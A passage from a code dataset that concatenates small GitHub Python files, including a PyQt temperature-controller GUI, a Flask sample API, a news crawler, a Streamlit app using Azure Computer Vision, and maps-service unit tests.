api.LakeShore.temperature_controller import TemperatureController\nfrom interface.components.ui.Button import Button\nfrom interface.components.ui.DoubleSpinBox import DoubleSpinBox\nfrom interface.windows.temperatureGraphWindow import TemperatureGraphWindow\nfrom store.base import MeasureModel, MeasureType\nfrom store.state import state\n\n\nclass MonitorThread(QThread):\n temperatures = pyqtSignal(dict)\n\n def run(self):\n tc = TemperatureController(host=state.LAKE_SHORE_IP, port=state.LAKE_SHORE_PORT)\n start_time = time.time()\n if state.LAKE_SHORE_STREAM_DATA:\n measure = MeasureModel.objects.create(\n measure_type=MeasureType.TEMPERATURE_STREAM,\n data={\"temp_a\": [], \"temp_c\": [], \"temp_b\": [], \"time\": []},\n )\n measure.save(finish=False)\n i = 0\n while state.LAKE_SHORE_STREAM_THREAD:\n temp_a = tc.get_temperature_a()\n temp_c = tc.get_temperature_c()\n temp_b = tc.get_temperature_b()\n if state.LAKE_SHORE_STREAM_DATA:\n measure.data[\"temp_a\"].append(temp_a)\n measure.data[\"temp_c\"].append(temp_c)\n measure.data[\"temp_b\"].append(temp_b)\n measure.data[\"time\"].append(time.time() - start_time)\n self.temperatures.emit(\n {\n \"temp_a\": temp_a,\n \"temp_c\": temp_c,\n \"temp_b\": temp_b,\n \"time\": time.time() - start_time,\n \"reset\": i == 0,\n }\n )\n time.sleep(state.LAKE_SHORE_STREAM_STEP_DELAY)\n i += 1\n\n if state.LAKE_SHORE_STREAM_DATA:\n measure.save()\n self.finished.emit()\n\n\nclass SetHeaterThread(QThread):\n def run(self):\n tc = TemperatureController(host=state.LAKE_SHORE_IP, port=state.LAKE_SHORE_PORT)\n tc.set_heater_range(output=1, value=state.LAKE_SHORE_HEATER_RANGE)\n tc.set_manual_output(output=1, value=state.LAKE_SHORE_MANUAL_OUTPUT)\n tc.set_control_point(output=1, value=state.LAKE_SHORE_SETUP_POINT)\n self.finished.emit()\n\n\nclass TemperatureControllerTabWidget(QWidget):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.layout = QVBoxLayout(self)\n self.temperatureStreamGraphWindow = None\n\n self.createGroupMonitor()\n self.createGroupHeater()\n\n self.layout.addWidget(self.groupMonitor)\n self.layout.addSpacing(10)\n self.layout.addWidget(self.groupHeater)\n self.layout.addStretch()\n\n self.setLayout(self.layout)\n\n def createGroupMonitor(self):\n self.groupMonitor = QGroupBox(self)\n self.groupMonitor.setTitle(\"Monitor\")\n self.groupMonitor.setSizePolicy(\n QSizePolicy.Policy.Expanding, QSizePolicy.Policy.Fixed\n )\n layout = QVBoxLayout()\n control_layout = QGridLayout()\n monitor_layout = QGridLayout()\n\n self.tempALabel = QLabel(self)\n self.tempALabel.setText(\"Temp A, K\")\n self.tempA = QLabel(self)\n self.tempA.setText(\"0\")\n\n self.tempBLabel = QLabel(self)\n self.tempBLabel.setText(\"Temp B, K\")\n self.tempB = QLabel(self)\n self.tempB.setText(\"0\")\n\n self.tempCLabel = QLabel(self)\n self.tempCLabel.setText(\"Temp C, K\")\n self.tempC = QLabel(self)\n self.tempC.setText(\"0\")\n\n self.temperatureStreamStepDelayLabel = QLabel(self)\n self.temperatureStreamStepDelayLabel.setText(\"Step delay, s\")\n self.temperatureStreamStepDelay = DoubleSpinBox(self)\n self.temperatureStreamStepDelay.setRange(0.01, 1)\n self.temperatureStreamStepDelay.setValue(state.LAKE_SHORE_STREAM_STEP_DELAY)\n\n self.checkTemperatureStreamPlot = QCheckBox(self)\n self.checkTemperatureStreamPlot.setText(\"Plot stream time line\")\n\n self.checkTemperatureStoreData = QCheckBox(self)\n self.checkTemperatureStoreData.setText(\"Store stream data\")\n\n self.temperatureStreamTimeLabel = QLabel(self)\n self.temperatureStreamTimeLabel.setText(\"Time window, s\")\n self.temperatureStreamTime = DoubleSpinBox(self)\n self.temperatureStreamTime.setDecimals(0)\n self.temperatureStreamTime.setRange(10, 43200)\n self.temperatureStreamTime.setValue(state.LAKE_SHORE_STREAM_TIME)\n\n self.btnStartMonitor = Button(\"Start\", animate=True)\n self.btnStartMonitor.clicked.connect(self.startMonitor)\n\n self.btnStopMonitor = Button(\"Stop\")\n self.btnStopMonitor.clicked.connect(self.stopMonitor)\n self.btnStopMonitor.setEnabled(False)\n\n monitor_layout.addWidget(self.tempALabel, 0, 0)\n monitor_layout.addWidget(self.tempBLabel, 0, 1)\n monitor_layout.addWidget(self.tempCLabel, 0, 2)\n monitor_layout.addWidget(self.tempA, 1, 0)\n monitor_layout.addWidget(self.tempB, 1, 1)\n monitor_layout.addWidget(self.tempC, 1, 2)\n layout.addLayout(monitor_layout)\n control_layout.addWidget(self.temperatureStreamStepDelayLabel, 2, 0)\n control_layout.addWidget(self.temperatureStreamStepDelay, 2, 1)\n control_layout.addWidget(self.checkTemperatureStreamPlot, 3, 0)\n control_layout.addWidget(self.checkTemperatureStoreData, 3, 1)\n control_layout.addWidget(self.temperatureStreamTimeLabel, 4, 0)\n control_layout.addWidget(self.temperatureStreamTime, 4, 1)\n control_layout.addWidget(self.btnStartMonitor, 5, 0)\n control_layout.addWidget(self.btnStopMonitor, 5, 1)\n layout.addLayout(control_layout)\n\n self.groupMonitor.setLayout(layout)\n\n def startMonitor(self):\n self.thread_monitor = MonitorThread()\n state.LAKE_SHORE_STREAM_THREAD = True\n state.LAKE_SHORE_STREAM_TIME = self.temperatureStreamTime.value()\n state.LAKE_SHORE_STREAM_PLOT_GRAPH = self.checkTemperatureStreamPlot.isChecked()\n state.LAKE_SHORE_STREAM_DATA = self.checkTemperatureStoreData.isChecked()\n state.LAKE_SHORE_STREAM_STEP_DELAY = self.temperatureStreamStepDelay.value()\n self.thread_monitor.start()\n self.btnStartMonitor.setEnabled(False)\n self.btnStopMonitor.setEnabled(True)\n self.thread_monitor.finished.connect(\n lambda: self.btnStartMonitor.setEnabled(True)\n )\n self.thread_monitor.finished.connect(\n lambda: self.btnStopMonitor.setEnabled(False)\n )\n self.thread_monitor.temperatures.connect(self.updateMonitor)\n\n def stopMonitor(self):\n state.LAKE_SHORE_STREAM_THREAD = False\n self.thread_monitor.quit()\n self.thread_monitor.exit(0)\n\n def updateMonitor(self, measure: Dict):\n self.tempA.setText(f\"{measure.get('temp_a')}\")\n self.tempC.setText(f\"{measure.get('temp_c')}\")\n self.tempB.setText(f\"{measure.get('temp_b')}\")\n if state.LAKE_SHORE_STREAM_PLOT_GRAPH:\n self.show_temperature_stream_graph(measure=measure)\n\n def show_temperature_stream_graph(self, measure: Dict):\n if self.temperatureStreamGraphWindow is None:\n self.temperatureStreamGraphWindow = TemperatureGraphWindow()\n self.temperatureStreamGraphWindow.plotNew(\n ds_id=\"A\",\n x=measure.get(\"time\"),\n y=measure.get(\"temp_a\"),\n reset_data=measure.get(\"reset\"),\n )\n self.temperatureStreamGraphWindow.plotNew(\n ds_id=\"B\",\n x=measure.get(\"time\"),\n y=measure.get(\"temp_b\"),\n reset_data=measure.get(\"reset\"),\n )\n self.temperatureStreamGraphWindow.plotNew(\n ds_id=\"C\",\n x=measure.get(\"time\"),\n y=measure.get(\"temp_c\"),\n reset_data=measure.get(\"reset\"),\n )\n self.temperatureStreamGraphWindow.show()\n\n def createGroupHeater(self):\n self.groupHeater = QGroupBox(self)\n self.groupHeater.setTitle(\"Heater\")\n layout = QFormLayout()\n\n self.heaterRangeLabel = QLabel(self)\n self.heaterRangeLabel.setText(\"Heater Range\")\n self.heaterRange = QComboBox(self)\n self.heaterRange.addItems([\"Off\", \"Low\", \"Medium\", \"High\"])\n\n self.manualOutputLabel = QLabel(self)\n self.manualOutputLabel.setText(\"Manual Output, %\")\n self.manualOutput = DoubleSpinBox(self)\n self.manualOutput.setRange(0, 100)\n self.manualOutput.setValue(100)\n\n self.setupPointLabel = QLabel(self)\n self.setupPointLabel.setText(\"Setup Point, K\")\n self.setupPoint = DoubleSpinBox(self)\n self.setupPoint.setRange(0.1, 300)\n self.setupPoint.setValue(292)\n\n self.btnSetHeater = Button(\"Set Heater\", animate=True)\n self.btnSetHeater.clicked.connect(self.set_heater)\n\n layout.addRow(self.heaterRangeLabel, self.heaterRange)\n layout.addRow(self.manualOutputLabel, self.manualOutput)\n layout.addRow(self.setupPointLabel, self.setupPoint)\n layout.addRow(self.btnSetHeater)\n\n self.groupHeater.setLayout(layout)\n\n def set_heater(self):\n state.LAKE_SHORE_HEATER_RANGE = self.heaterRange.currentIndex()\n state.LAKE_SHORE_MANUAL_OUTPUT = self.manualOutput.value()\n state.LAKE_SHORE_SETUP_POINT = self.setupPoint.value()\n\n self.set_heater_thread = SetHeaterThread()\n self.set_heater_thread.start()\n self.btnSetHeater.setEnabled(False)\n self.set_heater_thread.finished.connect(\n lambda: self.btnSetHeater.setEnabled(True)\n )\n","repo_name":"yarvod/cl-manager","sub_path":"interface/views/temperatureControllerTabWidget.py","file_name":"temperatureControllerTabWidget.py","file_ext":"py","file_size_in_byte":9853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"35293787830","text":"# -*- coding: utf-8 -*-\n\"\"\"http\"\"\"\n\nimport requests\nfrom requests.adapters import HTTPAdapter\nfrom requests.packages.urllib3.util.retry import Retry\nfrom requests.exceptions import HTTPError\n\nACC_HEAD = {\n 'csv': {'Accept': 'text/csv'},\n 'fasta': {'Accept': 'text/x-fasta'},\n 'json': {'Accept': 'application/json'},\n 'text': {'Accept': 'text/plain'},\n 'asn.1': {'Accept': 'text/plain'},\n 'xml': {'Accept': 'application/xml'},\n}\n\n\ndef _valid_response_formats():\n return tuple(ACC_HEAD.keys())\n\n\ndef retry_session(retries=5, backoff_factor=1,\n status_forcelist=(500, 502, 504)): # noqa\n\n session = requests.Session()\n\n retry = Retry(\n total=retries,\n read=retries,\n connect=retries,\n backoff_factor=backoff_factor,\n status_forcelist=status_forcelist)\n\n adapter = HTTPAdapter(max_retries=retry)\n\n session.mount('http://', adapter)\n session.mount('https://', adapter)\n\n return session\n\n\ndef get(url, params=None, response_format='json'): # noqa\n if type(response_format) in (dict, ):\n headers = response_format\n else:\n assert response_format in _valid_response_formats()\n headers = ACC_HEAD[response_format]\n\n with retry_session() as session:\n response = session.get(url=url, params=params, headers=headers)\n\n try:\n response.raise_for_status()\n except HTTPError as e:\n print(e)\n\n return response\n\n\ndef post(url, data, response_format): # noqa\n assert response_format in _valid_response_formats()\n headers = ACC_HEAD[response_format]\n\n with retry_session() as session:\n response = session.post(url=url, data=data, headers=headers)\n\n try:\n response.raise_for_status()\n except HTTPError as e:\n print(e)\n\n return response\n","repo_name":"karolisr/CS112-Green-Utilities","sub_path":"cs_green_utils/http_k.py","file_name":"http_k.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73634351450","text":"\"\"\"\nCreated on Nov 15, 2015\n\n@author: aleric\n\"\"\"\nimport logging\nimport re\nimport requests\nimport dateparser\nfrom bs4 import BeautifulSoup, SoupStrainer\nfrom pytz import timezone\nfrom datetime import datetime\nfrom entities import NewsItem\nfrom xml.sax.saxutils import escape\n\n\nclass UnisaNewsCrawler(object):\n UNISA_BASE_URL = \"http://web.unisa.it\"\n\n PYTZ_ROME_TIMEZONE = timezone(\"Europe/Rome\")\n\n LAST_PAGE = 3\n MAX_PAGES = 3\n\n def crawl(self):\n\n pages = self._spider()\n for page in pages:\n for news_item in self._parse(page):\n yield news_item\n\n def _spider(self):\n\n start_url = \"http://web.unisa.it/home/news\"\n older_page_index = self.LAST_PAGE\n newer_page_index = self.LAST_PAGE - self.MAX_PAGES\n\n for page_index in range(older_page_index, newer_page_index, -1):\n page_url = start_url + \"?page=\" + str(page_index)\n\n logging.info(\"start crawling \" + page_url)\n\n response = requests.get(page_url, headers={'Content-Type': 'text/html', 'Accept-Encoding': None})\n\n yield response.content\n\n def _parse(self, page):\n\n soup = BeautifulSoup(page, \"lxml\", parse_only=SoupStrainer(\"ul\", class_=\"event-list event-left\"))\n lis = soup.find_all(\"li\")\n lis_from_oldest = reversed(lis)\n\n for li in lis_from_oldest:\n yield self._scrape_news_div(li.div)\n\n def _scrape_news_div(self, div):\n\n item = NewsItem()\n item.title = escape(div.h4.a.string)\n item.link = escape(self.UNISA_BASE_URL + div.h4.a.get(\"href\"))\n news_description = div.p.string\n\n if news_description is not None:\n item.description = escape(news_description)\n else:\n # if there's no description, set it with title\n item.description = item.title\n # and set title with category\n item.title = escape(div.h5.small.string)\n\n item.pub_date = self._parse_pub_date(escape(div.find_all(\"p\")[1].small.string))\n item.fetch_date = datetime.now(self.PYTZ_ROME_TIMEZONE)\n\n return item\n\n def _parse_pub_date(self, pub_date):\n match = re.match(r'Pubblicato\\s+il\\s+(\\d+\\s+\\w+\\s+\\d{2,4})', pub_date)\n if match:\n return dateparser.parse(match.group(1), [\"%d %B %Y\"], [\"it\"])\n else:\n return datetime.now(self.PYTZ_ROME_TIMEZONE)\n","repo_name":"axl8713/unisanews","sub_path":"unisanews/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"6508770425","text":"'''\nCreated on 14.12.2016\n\n@author: bmeiej\n'''\n#_#IMPORTS#_#\nimport time\nfrom random import randint\n#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nclass Code:\n \n #_#INITS UND DEFS#_#\n code = 0\n codeasliste = [0,0,0]\n \n def __init__(self): ##Der Initalisierer\n self.codealsliste = self.codelistengenerator()\n self.code = self.listezucode(self.codealsliste)\n\n def codelistengenerator(self):\n listcodegen = [0,0,0]\n for i in range(3):\n coderndm = randint(3,5)\n listcodegen[i] = coderndm\n return listcodegen\n\n \n def listezucode(self, liste): ##Erstellt aus der Liste einen code als Integer(wichtig fuer die ueberpruefung des input)\n codeteil1 = (liste[0]) * 100\n codeteil2 = (liste[1]) * 10\n codeteil3 = liste[2]\n code = codeteil1 + codeteil2 + codeteil3\n return code\n","repo_name":"Jocomol/random_python_games","sub_path":"Zufallszahlenschloss/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34285021866","text":"import itertools\n\n\n# read the input with the input_reader and call the graph_builder\ndef main():\n # data = (all_coordinates, all_combinations_of_disks, max_y_value)\n data = input_reader()\n graph_builder(data[0], data[1], data[2])\n\n\n# given input, find n, m, w, make a list of all coordinates and all combinations of disks\n# return list of coordinates, list of disk combinations and W (max y value)\ndef input_reader():\n values = input()\n n = int(values.split(' ')[0])\n m = int(values.split(' ')[1])\n w = int(values.split(' ')[2])\n coordinates = []\n disks = []\n # read all lines with coordinates\n for i in range(0, n):\n next_line = input()\n coordinate = (int(next_line.split()[0]), int(next_line.split()[1]))\n coordinates.append(coordinate)\n # read all lines with disk radius and cost\n for i in range(0, m):\n next_line = input()\n disk_cost = (int(next_line.split()[0]), int(next_line.split()[1]))\n disks.append(disk_cost)\n # make combinations of every disk radius and cost and sort them ascending on cost\n disk_combinations = list(\n tuple((x[0] + y[0], x[1] + y[1]) for x, y in itertools.combinations_with_replacement(disks, 2)))\n disk_combinations.sort(key=lambda x: x[1])\n\n return coordinates, disk_combinations, w\n\n\n# take out coordinate one by one, and call connect_edges to try to connect the coordinate to\n# all other coordinates, for the lowest possible cost\ndef graph_builder(coordinates, disks, w):\n graph = []\n for j in range(0, len(coordinates)):\n current = coordinates[0]\n coordinates.remove(current)\n connect_edges(current, coordinates, graph, disks, w)\n print(graph)\n\n\n# given a current node, loop through all disks to try to connect it to the start(y=0) and end(y=w)\n# then loop through list of coordinates and list of disks and connect current to every\n# possible coordinate for the lowest possible cost\ndef connect_edges(current, coordinates, graph, disks, W):\n for smallest_disk in disks:\n if current[1] <= smallest_disk[0]:\n graph.append((\"start\", current, smallest_disk[1]))\n break\n if abs(current[1] - W) <= smallest_disk[0]:\n graph.append((current, \"end\", smallest_disk[1]))\n break\n for coordinate in coordinates:\n for smallest_disk in disks:\n if abs(current[0] - coordinate[0]) <= (smallest_disk[0]) and abs(current[1] - coordinate[1]) <= (\n smallest_disk[0]):\n graph.append((current, coordinate, smallest_disk[1]))\n break\n\n\nmain()\n","repo_name":"marthijnvdn/A-D","sub_path":"Practical 1.py","file_name":"Practical 1.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6656763366","text":"from flask import Flask\nfrom flask import request\nfrom flask import jsonify\n\nusers = { \n 'users_list' :\n [\n { \n 'id' : 'xyz789',\n 'name' : 'Charlie',\n 'job': 'Janitor',\n },\n {\n 'id' : 'abc123', \n 'name': 'Mac',\n 'job': 'Bouncer',\n },\n {\n 'id' : 'ppp222', \n 'name': 'Mac',\n 'job': 'Professor',\n }, \n {\n 'id' : 'yat999', \n 'name': 'Dee',\n 'job': 'Aspring actress',\n },\n {\n 'id' : 'zap555', \n 'name': 'Dennis',\n 'job': 'Bartender',\n }\n ]\n}\n\napp = Flask(__name__)\n\n@app.route('/users')\ndef get_users():\n search_username = request.args.get('name') #accessing the value of parameter 'name'\n if search_username :\n subdict = {'users_list' : []}\n for user in users['users_list']:\n if user['name'] == search_username:\n subdict['users_list'].append(user)\n return subdict\n return users\n\n\n\n# @app.route('/users/')\n# def get_user_id(id):\n# if id :\n# for user in users['users_list']:\n# if user['id'] == id:\n# return user\n# return ({})\n# return users\n\n@app.route('/users/')\ndef get_user_name(name):\n list_users = users\n if name :\n match_name = lambda user: user['name'] == name\n list_users = {'users_list': list(filter(match_name, list_users['users_list']))}\n return list_users \n\n@app.route('/users', methods=['GET', 'POST'])\ndef get_users_methods():\n if request.method == 'GET':\n search_username = request.args.get('name')\n if search_username :\n subdict = {'users_list' : []}\n for user in users['users_list']:\n if user['name'] == search_username:\n subdict['users_list'].append(user)\n return subdict\n return users\n elif request.method == 'POST':\n userToAdd = request.get_json()\n users['users_list'].append(userToAdd)\n resp = jsonify(success=True)\n #resp.status_code = 200 #optionally, you can always set a response code. \n # 200 is the default code for a normal response\n return resp\n\n@app.route('/users/', methods=['GET', 'DELETE'])\ndef get_user(name):\n if name:\n if request.method == 'GET':\n for user in users['users_list']:\n if user['name'] == name:\n return user\n return ({})\n elif request.method == 'DELETE':\n for user in users['users_list']:\n if user['name'] == name:\n users['users_list'].remove(user)\n resp = jsonify(success=True)\n resp.status_code = 204\n return resp\n resp = jsonify(success=False)\n resp.status_code = 404\n resp.message = \"Id Not Found\"\n return resp\n return users\n\nif(__name__ == '__main__'):\n app.debug = True\n app.run()","repo_name":"Hadiasemi/react-assignment1","sub_path":"RestApi/sample_backend.py","file_name":"sample_backend.py","file_ext":"py","file_size_in_byte":2937,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"40026894031","text":"from cryptonice import scanner\nimport argparse\nimport json\n\nfrom cryptonice.__init__ import __version__\ncryptonice_version=__version__\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"input_file\", help=\"JSON input file of scan commands\")\n args = parser.parse_args()\n\n input_file = args.input_file\n with open(input_file) as f:\n input_data = json.load(f)\n input_data.update({'cn_version': cryptonice_version})\n\n\n output_data, hostname = scanner.scanner_driver(input_data)\n if output_data is None and hostname is None:\n print('Error with input - scan was not completed')\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"F5-Labs/cryptonice","sub_path":"sample_script.py","file_name":"sample_script.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"32"} +{"seq_id":"9939214348","text":"from rest_framework import serializers\nfrom boards.models import Board\nfrom .models import Workspace\n\n\nclass WorkspaceSerializer(serializers.ModelSerializer):\n owner = serializers.ReadOnlyField(source='owner.username')\n is_owner = serializers.SerializerMethodField()\n board_list = serializers.SerializerMethodField()\n\n def get_is_owner(self, obj):\n request = self.context['request']\n return request.user == obj.owner\n\n def get_board_list(self, obj):\n board_list = Board.objects.filter(workspace=obj)\n serialized_board_list = [board.title for board in board_list]\n return serialized_board_list\n\n class Meta:\n model = Workspace\n fields = [\n 'id', 'title', 'owner', 'updated_at', 'is_owner',\n 'board_list'\n ]\n","repo_name":"Deneb331/5P-DRF-Prow","sub_path":"workspaces/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42323042965","text":"#API用のimport文\nimport requests\n# If you are using a Jupyter Notebook, uncomment the following line.\n# %matplotlib inline\nimport matplotlib.pyplot as plt\nimport json\nfrom PIL import Image\nfrom io import BytesIO\nimport os\nimport sys\n\n#streamlit用のimport文\nimport pandas as pd\nimport streamlit as st\nimport altair as alt\n\n#環境変数を確認する関数\ndef get_certificate() :\n if 'COMPUTER_VISION_KEY' in os.environ: #OSの環境変数にCOMPUTER_VISION_KEYの値が設定されている場合\n subscription_key = os.environ['COMPUTER_VISION_KEY'] #subscription_keyにその値を代入\n else:\n #エラー処理を出力する。\n print(\"\\nSet the COMPUTER_VISION_KEY environment variable.\\n**Restart your shell or IDE for changes to take effect.**\")\n #プログラムを強制終了させる。\n sys.exit()\n\n if 'COMPUTER_VISION_ENDPOINT' in os.environ: #OSの環境変数にCOMPUTER_VISION_ENDPOINTが設定されている場合\n endpoint = os.environ['COMPUTER_VISION_ENDPOINT'] #endpointに値を代入\n return subscription_key, endpoint\n\n#################################################################\n\n#streamlitの表示内容の作成\nst.title('物体検出アプリ')\nst.sidebar.write(\"\"\"\n# 画像のURLから物体検出 \n\"\"\")\n\n#画像URLをimage_urlという変数にセットする。\nimage_url = st.sidebar.text_input('画像URLを入力',\"https://upload.wikimedia.org/wikipedia/commons/thumb/5/58/Shiba_inu_taiki.jpg/250px-Shiba_inu_taiki.jpg\")\n\n\n#URLから物体検出のアルゴリズムを関数として記述\ndef get_data():\n #環境変数の設定確認\n subscription_key, endpoint = get_certificate()\n # Computer Visionの解析エンドポイントのURLをセットする。(エンドポイント=API連携するためのURL)\n analyze_url = endpoint + \"vision/v3.1/analyze\"\n\n #HTTPリクエストヘッダーにheaders変数の値をセットし、\n #paramsでは、解析のために要求するビジュアル機能を選択する。\n #dataでは、urlという変数に画像のURLをセットする。\n headers = {'Ocp-Apim-Subscription-Key': subscription_key}\n params = {'visualFeatures': 'Categories,Description,Color'}\n data = {'url': image_url}\n #POST通信でリクエストしたデータをresponseとして受け取る。\n #引数には、API連携するためのURL(analyze_url),リクエストヘッダーに書き込む情報(headers),\n #ビジュアル解析の機能の設定(params),jsonはresponseで返ってくる作られた情報の内容を辞書型として指定する。\n response = requests.post(analyze_url, headers=headers,\n params=params, json=data)\n\n #analysisにレスポンスの結果をjson形式で格納する。\n analysis = response.json()\n #jsonをターミナル上で出力する。「indent=2」は辞書型のレイアウトをきれいにするためのもの\n print(json.dumps(response.json(),indent=2))\n #image_captionに画像の分析結果のメッセージを格納する。\n image_caption = analysis[\"description\"][\"captions\"][0][\"text\"].capitalize()\n\n #画像を表示する。\n #requests.get()を使用して指定したURLから画像データを取得し、\n #BytesIOを使用して画像データをバイトストリームとして読み込みます。(API関係なく単純に画像をURLから取得している)\n #その後、Image.open()を使用してバイトストリームから画像オブジェクトを作成します。これにより、画像がメモリに読み込まれます。\n image = Image.open(BytesIO(requests.get(image_url).content))\n #戻り値にimageとimage_captionを格納\n return image, image_caption\n\nif not image_url:\n st.error('画像URLを入力してください')\nelse: \n #関数の戻り値をresultに格納\n result = get_data()\n #image,image_urlにそれぞれ戻り値を格納。\n image, image_caption = result\n\n #画像をstreamlit上に表示する。\n st.image(image)\n\n #画像のキャプションをstraemlit上に表示する。\n st.write(f\"\"\"\n ## {image_caption}\n \"\"\")\n\n############################################################\nst.sidebar.write(\"\"\"\n# ローカルファイルの画像から物体検出 \n\"\"\")\n\n#ローカルファイルから物体検出を行うアルゴリズム\nuploaded_file = st.sidebar.file_uploader('画像をローカルファイルから選択してください',type=['jpg','png'])\n\n#ローカルファイルから物体検出を行う関数\ndef get_data_Local() :\n #環境変数の設定確認\n subscription_key, endpoint = get_certificate()\n analyze_url = endpoint + \"vision/v3.1/analyze\"\n\n # 画像をバイトで読み込む\n image_data = uploaded_file.getvalue()\n headers = {'Ocp-Apim-Subscription-Key': subscription_key,\n 'Content-Type': 'application/octet-stream'}\n params = {'visualFeatures': 'Categories,Description,Color'}\n response = requests.post(\n analyze_url, headers=headers, params=params, data=image_data)\n\n # The 'analysis' object contains various fields that describe the image. The most\n # relevant caption for the image is obtained from the 'description' property.\n analysis = response.json()\n print(json.dumps(analysis, indent = 2))\n image_caption = analysis[\"description\"][\"captions\"][0][\"text\"].capitalize()\n\n #画像を表示する。\n #requests.get()を使用して指定したURLから画像データを取得し、\n #BytesIOを使用して画像データをバイトストリームとして読み込みます。(API関係なく単純に画像をURLから取得している)\n #その後、Image.open()を使用してバイトストリームから画像オブジェクトを作成します。これにより、画像がメモリに読み込まれます。\n image = Image.open(BytesIO(image_data))\n #戻り値にimageとimage_captionを格納\n return image, image_caption\n\nif uploaded_file is not None :\n #image,image_urlにそれぞれ戻り値を格納。\n image_local, image_caption_local = get_data_Local()\n\n #画像をstreamlit上に表示する。\n st.image(image_local)\n\n #画像のキャプションをstraemlit上に表示する。\n st.write(f\"\"\"\n ## {image_caption_local}\n \"\"\")\nelse :\n # ファイルがアップロードされなかった場合\n st.sidebar.write(\"ファイルがアップロードされていません\")\n\n\n# #検出結果を表示する。\n# plt.imshow(image)\n# plt.axis(\"off\")\n# #画像の分析結果のメッセージを表示する。\n# _ = plt.title(image_caption, size=\"x-large\", y=-0.1)\n# plt.show()","repo_name":"HajimeKentaro316/object-detection-app","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6774,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6344570040","text":"import unittest\nfrom unittest.mock import MagicMock, call\n\nfrom src.services.maps_service import maps_service\nfrom src.services.maps_service.maps_exception import MapsException\nfrom src.services.address_util.address_exception import AddressException\n\n\nclass TestMapsClient(unittest.TestCase):\n\n def setUp(self):\n self.maps_service = maps_service.MapsService()\n self.maps_service.wait_time = 0\n\n def test_success_case_on_first_call(self):\n mock_geocode = MagicMock(side_effect=geocode_always_succeeds)\n self.maps_service.maps_client.geocode = mock_geocode\n\n actual_long, actual_lat = self.maps_service.get_long_and_lat_from_address(state, city, street_address)\n\n mock_geocode.assert_called_once_with(full_address)\n self.assertEquals(actual_long, expected_long)\n self.assertEquals(actual_lat, expected_lat)\n\n def test_tries_a_different_way_to_get_long_and_lat_when_first_call_fails(self):\n mock_geocode = MagicMock(side_effect=geocode_success_on_second_call)\n self.maps_service.maps_client.geocode = mock_geocode\n\n actual_long, actual_lat = self.maps_service.get_long_and_lat_from_address(state, city, street_address)\n\n mock_geocode.assert_has_calls([call(full_address), call(part_address)], any_order=False)\n self.assertEquals(actual_long, expected_long)\n self.assertEquals(actual_lat, expected_lat)\n\n def test_throws_exception_when_second_call_to_get_long_and_lat_fails(self):\n mock_geocode = MagicMock(side_effect=geocode_always_fails)\n self.maps_service.maps_client.geocode = mock_geocode\n\n self.assertRaises(MapsException, self.maps_service.get_long_and_lat_from_address, state, city, street_address)\n\n def test_throws_exception_when_at_daily_limit_for_requests(self):\n mock_geocode = MagicMock(side_effect=geocode_success_on_second_call)\n self.maps_service.maps_client.geocode = mock_geocode\n\n # Fail on first request\n self.maps_service.number_of_requests = self.maps_service.daily_limit\n self.assertRaises(MapsException, self.maps_service.get_long_and_lat_from_address, state, city, street_address)\n\n # Fail on second request\n self.maps_service.number_of_requests = self.maps_service.daily_limit - 1\n self.assertRaises(MapsException, self.maps_service.get_long_and_lat_from_address, state, city, street_address)\n\n def test_throws_exception_for_bad_addresses(self):\n mock_geocode = MagicMock(side_effect=geocode_always_fails)\n self.maps_service.maps_client.geocode = mock_geocode\n\n self.assertRaises(AddressException, self.maps_service.get_long_and_lat_from_address, 'very', 'strange', 'address')\n\n # TODO: test_response_for_daily_limit_from_google (replicate then code for soln)\n # TODO: test_responses_in_quick_succession_from_google (replicate then code soln)\n # TODO: test when request can't reach google (try calling without internet and see what happens)\n # TODO: test_initialize_maps_client\n\n\ndef geocode_success_on_second_call(value):\n if value == full_address:\n return cant_find\n if value == part_address:\n return success\n raise ValueError(\"Unexpected value in unit test. Expect: \\\"\" + part_address + \"\\\" or \\\"\" + full_address + \"\\\"\")\n\n\ndef geocode_always_fails(value):\n if value == full_address or value == part_address:\n return cant_find\n raise ValueError(\"Unexpected value in unit test. Expect: \\\"\" + part_address + \"\\\" or \\\"\" + full_address + \"\\\"\")\n\n\ndef geocode_always_succeeds(value):\n if value == full_address or value == part_address:\n return success\n raise ValueError(\"Unexpected value in unit test. Expect: \\\"\" + part_address + \"\\\" or \\\"\" + full_address + \"\\\"\")\n\nstate = \"Washington\"\ncity = \"Seattle\"\nstreet_address = \"99 Pike Ave\"\n\npart_address = city + \", \" + state + \", USA\"\nfull_address = street_address + \", \" + part_address\n\nexpected_long = -101.8428718\nexpected_lat = 35.2284232\n\nsuccess = [{\n 'geometry': {\n 'location': {\n 'lat': expected_lat,\n 'lng': expected_long\n }\n }\n }]\n\ncant_find = []\n","repo_name":"louie-mansour/gun-violence-interactive-visualization","sub_path":"testsrc/services/maps_service/test_maps_service.py","file_name":"test_maps_service.py","file_ext":"py","file_size_in_byte":4167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18173325871","text":"\"\"\"\nUnit tests around selection of face images to be input to 